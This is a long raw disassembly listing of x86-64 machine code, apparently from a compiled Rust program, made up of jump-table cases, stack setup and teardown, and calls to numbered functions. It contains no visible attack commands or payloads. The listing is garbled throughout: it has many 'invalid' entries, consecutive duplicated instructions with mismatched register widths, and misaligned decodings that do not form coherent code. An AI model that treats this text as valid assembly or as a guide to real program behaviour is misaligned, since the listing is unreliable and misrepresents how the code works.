mov r8d, 0x16
jmp 0x1a7f1b9b9f1
invalid
add byte [rax], al
add cl, ch
je case.0x1a7f1b9b682.10
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
lea rdx, [0x1a7f1c5c353]
adc eax, 0xc0bc3
or ecx, dword [rax + rax]
add cl, ch
and byte [rdx], al
add byte [rax], al
jmp 0x1a7f1b9b9b5
add al, byte [rax]
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
invalid
invalid
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
invalid
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x1a7f1c5c365]
adc eax, 0xc0bbd
mov ebp, 0xe9000c0b
or ecx, dword [rax + rax]
add cl, ch
jmp 0x1a7f1b9b9b5
or byte [rdx], al
add byte [rax], al
add al, byte [rax]
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
invalid
invalid
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c5c377]
mov bh, 0xb
or al, 0
adc eax, 0xc0bb7
mov bh, 0xb
or al, 0
jmp 0x1a7f1b9b9b5
lock add dword [rax], eax
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
invalid
invalid
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c5c389]
adc eax, 0xc0bb1
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xc0bb1
mov cl, 0xb
or al, 0
jmp 0x1a7f1b9b961
test byte [rcx], al
add dword [rax], eax
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c5c399]
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
lea rdx, [0x1a7f1c5c399]
mov r8d, 9
mov eax, 9
or dword [rax], eax
add byte [rax], al
jmp 0x1a7f1b9b9f1
test byte [rcx], 0
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0xc0b94
sbb byte [rax - 0x73], cl
adc eax, 0xc0b94
xchg esp, eax
or ecx, dword [rax + rax]
or al, 0
or al, 0
jmp 0x1a7f1b9b8dd
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
invalid
invalid
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c5c3ae]
or al, 0
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xc0b88
or al, 0
or al, 0
mov r8d, 0xb
or eax, dword [rax]
add byte [rax], al
jmp 0x1a7f1b9b9f1
add dword [rax], eax
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
invalid
invalid
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c87f5d]
adc eax, 0xec719
adc eax, 0xec719
invalid
add cl, ch
xchg esp, eax
jmp 0x1a7f1b9b8dd
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
invalid
invalid
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x1a7f1c5c3b9]
lea rdx, [0x1a7f1c5c3b9]
or al, 0
add byte [rcx - 0x48], al
adc dword [rax], eax
add byte [rax], al
invalid
mov r8d, 0x11
add cl, ch
mov al, byte [rcx]
add byte [rax], al
jmp 0x1a7f1b9b9f1
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c5c3ca]
adc eax, 0xc0b50
adc eax, 0xc0b50
push rax
or ecx, dword [rax + rax]
or al, 0
add bl, ch
jg case.0x1a7f1b9a447.120
invalid
jmp 0x1a7f1b9b8fb
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xc0b4a
or rcx, qword [rax + r8]
mov eax, dword [rax + 0x18]
lea rdx, [0x1a7f1c5c3d9]
or rcx, qword [rax + r8]
add cl, ch
jmp 0x1a7f1b9b92e
invalid
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x1a7f1c5c3ed]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
lea rdx, [0x1a7f1c5c3ed]
or al, 0
mov r8d, 0xd
or eax, 0xe9000000
add byte [rax], al
add cl, ch
jmp 0x1a7f1b9b9f1
invalid
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
invalid
invalid
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0xc0b35
or ecx, dword [rax + rax]
lea rdx, [0x1a7f1c5c3fa]
or ecx, dword [rax + rax]
jmp 0x1a7f1b9b9eb
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
lea rdx, [0x1a7f1c5c40f]
adc eax, 0xc0b32
xor cl, byte [rbx]
or al, 0
add byte [rcx - 0x48], al
or al, 0
mov r8d, 0xc
mov eax, 0xc
add byte [rax], al
add byte [rax], al
add cl, ch
or dword [rcx], eax
add dword [rax], eax
invalid
jmp 0x1a7f1b9b9f1
add dword [rax], eax
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
invalid
invalid
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
and byte [rax - 0x75], cl
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0xc0b20
lea rdx, [0x1a7f1c5c41b]
mov r8d, 0xf
mov eax, 0xf
sldt word [rax]
add byte [rax], al
add byte [rax], al
add cl, ch
jmp 0x1a7f1b9b9f1
jmp 0x1a7f1b9b904
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
invalid
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x1a7f1c5c42a]
adc eax, 0xc0b11
or ecx, dword [rax + rax]
or al, 0
add bl, ch
mov rcx, qword [rdx + 0x20]
mov rcx, qword [rdx + 0x20]
jmp 0x1a7f1b9b961
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
lea edx, [0x1a7f1c5c43a]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
lea rdx, [0x1a7f1c5c43a]
lea edx, [0x1a7f1c5c43a]
or al, 0xb
or al, 0
mov r8d, 0x14
mov eax, 0x14
add byte [rax], al
jmp 0x1a7f1b9b9f1
mov eax, 0x48000000
mov ecx, dword [rdx + 0x20]
invalid
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c5c44e]
lea edx, [0x1a7f1c5c44e]
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
lea edx, [0x1a7f1c5c44e]
adc eax, 0xc0b02
jmp case.0x1a7f1b9a62f.97
mov rcx, qword [rdx + 0x20]
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c5c465]
or ecx, dword [rax + rax]
or ecx, dword [rax + rax]
mov r8d, 0x10
jmp 0x1a7f1b9b9f1
test dword [rax], eax
add byte [rax], al
test dword [rax], eax
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
invalid
invalid
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x1a7f1c5c475]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c5c475]
mov r8d, 0x1c
jmp 0x1a7f1b9b9f1
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0xc0af7
sbb byte [rax - 0x73], cl
adc eax, 0xc0af7
add byte [rcx - 0x48], al
invalid
mov r8d, 0x17
add bl, ch
mov rcx, qword [rdx + 0x20]
mov rcx, qword [rdx + 0x20]
jmp 0x1a7f1b9b9f1
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c5c4a8]
adc eax, 0xc0af3
adc eax, 0xc0af3
or cl, byte [rax + rax]
add byte [rcx - 0x48], al
mov r8d, 0x12
adc al, byte [rax]
add byte [rax], al
jmp 0x1a7f1b9b9f1
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
invalid
invalid
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x1a7f1c5c4ba]
adc eax, 0xc0aea
add byte [rcx - 0x48], al
adc eax, dword [rax]
add byte [rax], al
invalid
mov r8d, 0x13
add bl, ch
jmp 0x1a7f1b9b9f1
sbb dword [rax - 0x75], ecx
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov eax, dword [rax + 0x18]
invalid
invalid
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
lea rdx, [0x1a7f1c880e6]
adc eax, 0xec6fb
invalid
mov r8d, 0x15
add byte [rax], al
add rsp, 0x38
jmp rax
invalid
cmp byte [rax - 1], cl
loopne 0x1a7f1b9ba41
invalid
inc rax
inc eax
lea r9, [rsp + 0x30]
lea ecx, [rsp + 0x30]
mov qword [r9], rax
mov dword [rcx], eax
lea rax, [0x1a7f1c5c168]
mov qword [rsp + 0x20], rax
and al, 0x20
and al, 0x20
lea rax, [0x1a7f1c5c160]
lea eax, [0x1a7f1c5c160]
invalid
mov r8d, 7
mov rcx, rdx
ror dword [rax - 0x77], 1
ret 0xf9e8
sbb ebp, edi
call qword [rax + 0x38c48348]
invalid
ror dword [rax - 0x77], 1
ret 0xf9e8
sbb ebp, edi
call qword [rax + 0x38c48348]
invalid
cmp bl, al
ret
mov esi, ecx
add byte [rax], al
add byte [rbx - 0x7c99093f], al
stc
adc eax, 0x1b8
add byte [rdi], cl
shl dword [rsi - 0x7d], 0xf8
adc esi, dword [rdi + 0x13]
xor byte [rax], dl
add byte [rax + 0x63], cl
add al, 0x81
mov ecx, dword [rsi]
add eax, dword [rax]
and byte [rsi - 0x17], bl
invalid
invalid
xor dword [rbx + rcx*4 + 0x71], ecx
adc byte [rax - 0x77], cl
sub r14, 1
xor al, 0
add byte [rax], al
sbb cl, byte [rcx - 0x3f]
loopne 0x1a7f1b9bd07
add eax, 0x8ba
add byte [rax - 0x77], cl
int1
jns 0x1a7f1b9bd3f
jne 0x1a7f1b9bd2b
add ebx, eax
ret
mov rax, qword [rcx]
mov rdx, qword [rcx + 8]
mov edx, dword [rcx + 8]
mov rcx, rax
jmp fcn.1a7f1bce24f
and eax, 0x56410003
xor dword [rbx + rcx*4 + 0x71], ecx
adc byte [rax - 0x77], cl
sub r14, 1
sub esi, 1
mov ecx, ebx
add byte [rax], al
add byte [rax - 0x7d], cl
ret
and bl, ch
in al, dx
shl eax, 5
add byte [rax], al
add byte [rax - 0x77], cl
int1
cli
call qword [rax + 0x28c48348]
pop rsi
fisub dword [rsi - 0x7d]
cli
add bh, byte [rax + 2]
add byte [rax], al
cmp edx, 2
mov eax, 2
add byte [rax], al
cmovb eax, edx
test ax, ax
test eax, eax
test eax, eax
je 0x1a7f1b9bdc4
sbb ecx, dword [rdi]
mov bh, 0xc0
movzx eax, ax
cmp eax, 1
je fcn.1a7f1b9ae68
mov bl, 0xf0
invalid
invalid
mov bl, 0xf0
invalid
mov rax, qword [rcx]
mov eax, dword [rcx]
add dword [rax - 0x75], ecx
push rcx
or byte [rax - 0x77], cl
mov ecx, eax
jmp fcn.1a7f1bce24f
mov rax, qword [rcx]
mov rdx, qword [rcx + 8]
mov rcx, rax
invalid
invalid
mov rdx, qword [rcx + 8]
mov rcx, rax
mov ecx, eax
mov ecx, eax
jmp fcn.1a7f1bce24f
mov rax, qword [rcx]
mov rdx, qword [rcx + 8]
mov rcx, rax
jmp fcn.1a7f1b9c03a
add al, byte [rax]
add byte [rcx + 0x56], al
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rdi, rcx
mov rsi, qword [rcx]
mov r14, qword [rcx + 0x10]
mov rbx, rsi
invalid
sub r14, 1
sub r14, 1
jb 0x1a7f1b9bdfd
mov rcx, rbx
call fcn.1a7f1b9be2b
add rbx, 0x20
jmp case.0x1a7f1b9b2cb.70
mov r8, qword [rdi + 8]
test r8, r8
je 0x1a7f1b9be20
shl r8, 5
mov edx, 8
add byte [rax], al
add byte [rax], al
mov rcx, rsi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp fcn.1a7f1b446ce
invalid
call qword [rax + 0x28c48348]
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
fisub dword [rsi - 0x7d]
cli
add bh, byte [rax + 2]
invalid
add byte [rdi], cl
ret 0x8566
cmovb eax, edx
test ax, ax
invalid
je 0x1a7f1b9be4e
sal byte [rsp + rcx + 0xf], 0xb7
rol byte [rbx - 0x7bf0fe08], 0x1a
cmp eax, 1
invalid
test byte [rdx], bl
invalid
movzx eax, ax
cmp eax, 1
je fcn.1a7f1b9ae68
mov rax, qword [rcx]
mov rdx, qword [rcx + 8]
mov rcx, rax
mov ecx, eax
mov ecx, eax
shr ecx, 0xf2
and eax, dword [rbx]
add byte [rbx - 0x3f7ce7bf], cl
mov eax, dword [rcx + 0x18]
add eax, 0xffffffda
cmp ax, 3
mov edx, 3
add eax, dword [rax]
add byte [rax], al
jmp fcn.1a7f1bce24f
add eax, dword [rax]
add byte [rax], al
cmovb edx, eax
test dl, 1
ret 0x7501
invalid
ret 0x7501
add dword [rbp + 1], esi
ret
mov rax, qword [rcx]
mov rdx, qword [rcx + 8]
mov rcx, rax
mov ecx, eax
add dword [rax - 0x75], ecx
push rcx
or byte [rax - 0x77], cl
mov ecx, eax
jmp fcn.1a7f1bce24f
push r14
mov ecx, eax
jmp fcn.1a7f1bce24f
mov edi, ecx
imul eax, eax, 0x38
mov rcx, qword [rsi]
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x28], 8
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x28], 8
add byte [rax], al
mov qword [rsp + 0x30], rax
jmp 0x1a7f1b9d408
xor bl, ch
invalid
and al, 0x28
add byte [rax - 0x73], cl
jl 0x1a7f1b9d430
invalid
lea rdi, [rsp + 0x38]
and al, 0x38
cmp byte [rbp + rcx*4 + 0x4c], cl
and al, 0x20
invalid
lea r9, [rsp + 0x20]
and byte [rax - 0x77], cl
stc
mov rcx, rdi
call fcn.1a7f1bf5b1f
cmp qword [rdi], 0
add byte [rax - 0x75], cl
invalid
invalid
je 0x1a7f1b9d42b
xchg dword [0x1a8313d1c1d], eax
add byte [rax - 0x75], cl
or byte [r15 + r8 + 0x48], r14b
or byte [rdi + rax + 0x48], dh
or byte [rdi + rax + 0x48], dh
mov rdx, qword [rsp + 0x48]
mov edx, dword [rsp + 0x48]
jmp case.0x1a7f1b5b061.867
mov qword [rsi], rcx
mov qword [rsi + 8], rbx
movabs rcx, 0x8000000000000001
add byte [rax], al
add byte [rax], al
invalid
invalid
pop rsi
or byte [rax - 0x47], cl
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax + 0x50c48348], al
add rsp, 0x50
add rsp, 0x50
pop rbx
pop rdi
pop rsi
jmp fcn.1a7f1b43d74
push rax
add byte [rax - 0x77], cl
invalid
or byte [r8 - 0x73], cl
or al, 0
ror dword [rax - 0x7d], 1
cli
add eax, 0x4bb
add al, 0
add byte [rax], al
invalid
invalid
add al, 0
add byte [rax], al
fimul dword [r8 - 0x47]
xor al, 0x33
xor esi, dword [rbx]
xor esi, dword [rbx]
xor eax, dword [rbx]
xchg edx, eax
ret 0x6b4c
sal byte [rsp + rbx + 0x48], 0x6b
shr byte [rax], 0x48
sub byte [rax - 0x75], cl
invalid
sub byte [rax - 0x75], cl
invalid
and al, 0x20
and al, 0x28
or byte [rax], al
add byte [rax], al
and al, 0x28
add byte [rax - 0x73], cl
jl 0x1a7f1b9d4e3
cmp byte [rbp + rcx*4 + 0x4c], cl
and al, 0x20
push rdx
xchg byte [0x1a8313d1cd0], al
add byte [rax - 0x75], cl
mov ecx, dword [rdi + 8]
je 0x1a7f1b9d4de
mov rdx, qword [rsp + 0x48]
mov ecx, dword [rdi + 8]
jmp 0x1a7f1b9d4ef
pop rsi
or byte [rax - 0x47], cl
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax + 0x50c48348], al
call fcn.1a7f1b9ac0f
mov rcx, rax
add rsp, 0x28
add esp, 0x28
add esp, 0x28
jmp fcn.1a7f1b43d74
push rdi
push rbx
sub rsp, 0x50
inc rdx
jne case.0x1a7f1b5b061.899
xor ecx, ecx
jmp 0x1a7f1b9d5b4
mov rsi, rcx
mov rax, qword [rcx + 8]
lea rcx, [rax + rax]
or al, 0
or al, 0
cmp rcx, rdx
cmova rdx, rcx
cmp rdx, 5
mov ebx, 4
cmovae rbx, rdx
xor edx, edx
mov rcx, rbx
shr rcx, 0x3d
sete dl
lea r8, [rbx*4]
add al, 0x9d
add byte [rax], al
add byte [rax], al
add al, 0x9d
add byte [rax], al
add byte [rax], al
add rdx, rdx
test rax, rax
je 0x1a7f1b9d57a
shl rax, 2
mov rcx, qword [rsi]
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x28], 2
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x28], 2
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x30], eax
jmp 0x1a7f1b9d580
and qword [rsp + 0x28], 0
and al, 0x28
add byte [rax - 0x73], cl
jl 0x1a7f1b9d5a8
lea rdi, [rsp + 0x38]
lea r9, [rsp + 0x20]
lea ecx, [rsp + 0x20]
cmp byte [rbp + rcx*4 + 0x4c], cl
and al, 0x20
lea ecx, [rsp + 0x20]
mov rcx, rdi
call fcn.1a7f1bf5b1f
test dword [0x1a8313d1d95], eax
add byte [rax - 0x75], cl
invalid
invalid
je 0x1a7f1b9d5a3
test dword [0x1a8313d1d95], eax
add byte [rax - 0x75], cl
or byte [r15 + r8 + 0x48], r14b
mov edx, dword [rsp + 0x48]
mov rdx, qword [rsp + 0x48]
jmp 0x1a7f1b9d5b4
mov qword [rsi], rcx
mov qword [rsi + 8], rbx
pop rsi
or byte [rax - 0x47], cl
movabs rcx, 0x8000000000000001
add rsp, 0x50
movabs rcx, 0x8000000000000001
or byte [rax - 0x7d], 0xc4
push rax
add rsp, 0x50
pop rbx
pop rdi
pop rsi
jmp fcn.1a7f1b43d74
mov ah, 0x67
cli
invalid
mov ah, 0x67
cli
dec dword [rcx - 0x77]
ror byte [rax - 0x75], 1
add dword [rax - 0x75], ecx
push rcx
adc byte [rax - 0x77], cl
shr ecx, 0xff
invalid
invalid
invalid
add dword [rax - 0x75], ecx
push rcx
adc byte [rax - 0x77], cl
shr ecx, 0xd8
fcomp st(6)
invalid
inc dword [rcx + 0x57]
push r15
fcomp st(6)
invalid
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
test r8, r8
je 0x1a7f1b9d621
mov rax, rsi
shr rax, 0x3e
jne 0x1a7f1b9d650
lea r14, [rsi + rsi]
mov ecx, 1
add byte [rax], al
add byte [rax], al
mov rdx, r14
call fcn.1a7f1bd6798
add byte [rax - 0x7b], cl
invalid
je 0x1a7f1b9d657
add byte [rax - 0x7b], cl
sal byte [rbx + rdi + 0x49], 0x89
invalid
mov r15, rax
jmp 0x1a7f1b9d62b
lea r14, [rsi + rsi]
mov r15d, 1
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
mov rcx, r15
mov rdx, rbx
mov r8, r14
call fcn.1a7f1c22170
mov qword [rdi], r15
mov dword [rdi], edi
mov dword [rdi], edi
mov qword [rdi + 8], rsi
mov qword [rdi + 0x10], rsi
adc byte [rax - 0x7d], cl
invalid
and byte [rbx + 0x5f], bl
pop rsi
pop r14
pop rsi
adc byte [rax - 0x7d], cl
invalid
pop rsi
pop r15
ret
call fcn.1a7f1b65780
ud2
mov ecx, 1
mov rdx, r14
bnd call fcn.1a7f1c2f940
bnd call fcn.1a7f1c2f940
ud2
or esi, 0xffffffff
dec dword [rax - 0x7b]
test rdx, rdx
je 0x1a7f1b9d67e
imul r8, rdx, 0x30
imul r8, rdx, 0x30
mov edx, 8
jmp fcn.1a7f1b446ce
sub rsp, 0x20
lea rax, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_strpattern.rs
str word [rax - 0x77]
add dword [rax - 0x77], ecx
invalid
invalid
str word [rax - 0x77]
add dword [rax - 0x77], ecx
or byte [r8 - 0x75], cl
mov rsi, qword [rcx + 0x20]
mov rsi, qword [rcx + 0x20]
test rsi, rsi
je 0x1a7f1b9d6c6
mov rdi, qword [rcx + 0x10]
mov rdx, qword [rcx + 0x18]
mov rbx, qword [rdi + 0x10]
mov ebx, dword [rdi + 0x10]
mov ebx, dword [rdi + 0x10]
cmp rdx, rbx
je 0x1a7f1b9d6bf
mov rcx, qword [rdi]
mov ecx, dword [rdi]
add rdx, rcx
add rcx, rbx
mov r8, rsi
mov eax, esi
mov eax, esi
call fcn.1a7f1c22170
add rsi, rbx
mov qword [rdi + 0x10], rsi
fimul word [rax - 0x77]
ja 0x1a7f1b9d6d6
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
cmp byte [rcx + rcx*4 - 0x40], cl
ror byte [rax - 0x77], 0xce
add dword [rax - 0x73], ecx
jl 0x1a7f1b9d706
and byte [rax - 0x77], cl
stc
or byte [r8 - 0x77], r9b
int1
dec dword [rax - 0x77]
ror byte [rcx - 9], 1
loopne case.0x1a7f1b5b061.966
and cl, byte [rax - 0x7d]
ror byte [rdi], 0x72
invalid
jb 0x1a7f1b9d731
and rax, 0xfffffffffffffff0
add r8, 0x10
rcl byte [rax], 0x49
add eax, eax
invalid
rcl byte [rax], 0x49
add eax, eax
jb 0x1a7f1b9d731
movabs rdx, 0x7ffffffffffffff0
cmp r8, rdx
cmp eax, edx
invalid
cmp eax, edx
jbe case.0x1a7f1b5b061.958
and qword [rcx], 0
ret
mov qword [rcx], 0x10
mov qword [rcx + 8], r8
or byte [r8 - 0x77], cl
adc r11b, al
or byte [r8 - 0x77], cl
adc r11b, al
sal byte [rbx + rcx + 0x41], cl
mov eax, 2
in al, dx
lea rsi, [rsp + 0x28]
mov rcx, rsi
int1
call fcn.1a7f1b9d778
mov rcx, rsi
call fcn.1a7f1b9d7a5
nop
add rsp, 0x40
pop rsi
pop rsi
ret
mov esi, ecx
call fcn.1a7f1b9b1c2
mov rcx, qword [rax]
or byte [rax - 0x75], cl
push rax
or byte [rbp + rcx*4 + 0x41], cl
invalid
or byte [rax - 0x75], cl
push rax
or byte [rbp + rcx*4 + 0x41], cl
add dword [rcx + rcx*4], ecx
mov qword [rax], r8
mov qword [rax], r8
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
push rsi
adc byte [rax - 0x7d], cl
add byte es:[rax - 0x7d], cl
invalid
and byte [rsi - 0x3d], bl
push rsi
adc byte [rax - 0x7d], cl
add byte es:[rax - 0x7d], cl
invalid
and byte [rsi - 0x3d], bl
cmp dword [rax], eax
mov edx, dword [rcx + 0x10]
lea eax, [0x1a7f1c874c8]
and al, 0x20
and al, 0x37
add al, ch
stosd dword [rdi], eax
invalid
sub esp, 0x48
in al, dx
mov rsi, rcx
mov rsi, rcx
mov r9, qword [rcx + 0x18]
mov ecx, dword [rcx + 0x18]
sbb byte [rax - 0x75], cl
push rcx
mov rdx, qword [rcx + 8]
mov r8, qword [rcx + 0x10]
or byte [rbx + rcx*4 + 0x41], cl
adc byte [rax - 0x73], cl
invalid
invalid
jl 0x1a7f1b9d824
lea rdi, [rsp + 0x28]
mov rcx, rdi
stc
sub byte [rax - 0x77], cl
stc
call fcn.1a7f1bdae2a
and esi, edx
add eax, dword [rax]
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
push rdi
or byte [rbx + rcx*4 + 0x47], cl
adc byte [rax - 0x75], cl
jg 0x1a7f1b9d830
invalid
push rdi
or byte [rbx + rcx*4 + 0x47], cl
adc byte [rax - 0x75], cl
jg 0x1a7f1b9d830
invalid
sbb byte [rbx + rcx*4 + 0xe], cl
mov r9, qword [rsi]
mov ecx, dword [rsi]
imul rcx, rax, 0x18
add rcx, r9
add ecx, ecx
add ecx, ecx
sub rdx, rax
imul rsi, r8, 0x18
imul esi, eax, 0x18
ret 0x6b49
imul esi, eax, 0x18
add rsi, r9
sub rdi, r8
invalid
call fcn.1a7f1b9aef4
invalid
dec dword [rax - 0x77]
int1
invalid
rcl dh, 0xff
dec dword [rax - 0x77]
int1
invalid
mov rdx, rdi
add rsp, 0x48
add esp, 0x48
pop rdi
pop rsi
jmp fcn.1a7f1b9aef4
invalid
invalid